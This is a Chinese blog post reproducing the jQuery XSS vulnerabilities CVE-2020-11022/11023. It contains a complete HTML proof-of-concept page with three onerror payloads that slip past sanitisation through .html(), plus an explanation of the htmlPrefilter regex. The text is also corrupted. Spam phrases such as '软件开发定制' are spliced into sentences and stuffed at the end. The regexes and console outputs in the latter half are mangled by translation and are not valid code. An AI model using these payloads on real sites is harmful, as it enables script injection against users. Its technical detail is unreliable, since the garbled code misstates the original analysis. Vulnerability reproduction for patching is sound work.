软件开发定制复现CVE-2020-11022/11023(jQuery XSS漏洞)

警告

请勿软件开发定制使用本文提到的内容违反法律
本文软件开发定制不提供任何担保


一、漏洞描述

        软件开发定制由于执行了消毒(sanitize)处理,软件开发定制也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),从而导致。


二、影响版本

        大于或等于1.2且在3.5.0之前的jQuery版本中


三、漏洞复现

poc如下:

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
  6. <script src="存在漏洞的jQuery网址"></script>
  7. </head>
  8. <body>
  9. <script>
  10. function test(n,jq){
  11. sanitizedHTML = document.getElementById('poc'+n).innerHTML;
  12. if(jq){
  13. $('#div').html(sanitizedHTML);
  14. }else{
  15. div.innerHTML=sanitizedHTML;
  16. }
  17. }
  18. </script>
  19. <h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
  20. <p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
  21. <h2>PoC 1</h2>
  22. <button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
  23. <xmp id="poc1">
  24. <style><style /><img src=x onerror=alert("我是1stPeak的小迷弟")>
  25. </xmp>
  26. <h2>PoC 2 (Only jQuery 3.x affected)</h2>
  27. <button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
  28. <xmp id="poc2">
  29. <img alt="<x" title="/><img src=x onerror=alert(1)>">
  30. </xmp>
  31. <h2>PoC 3</h2>
  32. <button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
  33. <xmp id="poc3">
  34. <option><style></option></select><img src=x onerror=alert(1)></style>
  35. </xmp>
  36. <div id="div"></div>
  37. </body>
  38. </html>

1和PoC 2具有相同的根本原因。在中.html(),作为参数传递的HTML字符串将传递到 方法。该htmlPrefilter处理用于替换自闭合标签等进行到,通过使用以下正则表达式:<tagname **/>**``<tagname ></tagname>

  1. rxhtmlTag = / <(?! area | br | col | embed | hr | img | input | link | meta | param)(([[ww:-] +)[^>] *)\ /> / gi
  2. [。 ..]
  3. htmlPrefilter:function(html){
  4. return html.replace(rxhtmlTag,“ <$ 1> </ $ 2>”);
  5. }

如果PoC 1的HTML通过此替换,则输出将是:

  1. > $ .htmlPrefilter('<style> <style /> <img src = x onerror = alert(1)>')
  2. <“ <style> <style> </ style> <img src = x onerror = alert(1) >

黄色部分是替换的字符串。由于此替换,<style />样式元素内部被替换<style ></style>为,结果是,之后的字符串从样式元素中被踢出。之后,.html()将替换的HTML分配给innerHTML。在这里,<img ...>字符串变成了实际的img标签,并触发了onerror事件。顺便说一下,上述正则表达式在3.x之前的jQuery中使用。从3.x开始,使用了另一个经过稍加修改的正则表达式。

rxhtmlTag = / <(?! area | br | col | embed | hr | img | input | link | meta | param)(([[az] [^ \ / \ 0> \ x20 \ t \ r \ n \ f] *)[^>] *)\ /> / gi

 此更改引入了另一个XSS向量,该向量可能仅由更多基本元素和属性导致XSS。通过此更改引入了PoC 2的向量。它仅适用于jQuery3.x。在这种情况下,属性值上的 img 字符串被踢出并发生XSS。

  1. > $ .htmlPrefilter('<img alt = <xtitle = /> <img src = x onerror = alert(1)>”>')
  2. <“ <img alt = <xtitle => < / x“> <img src = x onerror = alert(1)>”>“

四、漏洞修复

        升级jquery最新版本


警告

请勿使用本文提到的内容违反法律
本文不提供任何担保

网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发